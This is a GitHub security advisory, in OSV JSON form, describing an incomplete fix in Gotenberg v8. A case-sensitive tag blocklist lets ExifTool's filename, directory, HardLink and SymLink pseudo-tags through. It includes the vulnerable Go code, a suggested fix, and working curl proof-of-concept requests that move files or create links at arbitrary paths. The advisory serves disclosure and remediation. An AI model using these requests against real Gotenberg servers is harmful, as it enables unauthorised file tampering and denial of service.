GHSA-qmwh-9m9c-h36m: Github.com/gotenberg/gotenberg/v8 Case-insensitive Bypass And Missing HardLink/SymLink Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qmwh-9m9c-h36m",
  "modified" : "2026-04-07T18:16:22Z",
  "published" : "2026-04-07T18:16:22Z",
  "aliases" : [ ],
  "summary" : "Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags",
  "details" : "## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool's stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}'\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}'\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}'\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.30.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.29.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-07T18:16:22Z",
    "nvd_published_at" : null
  }
}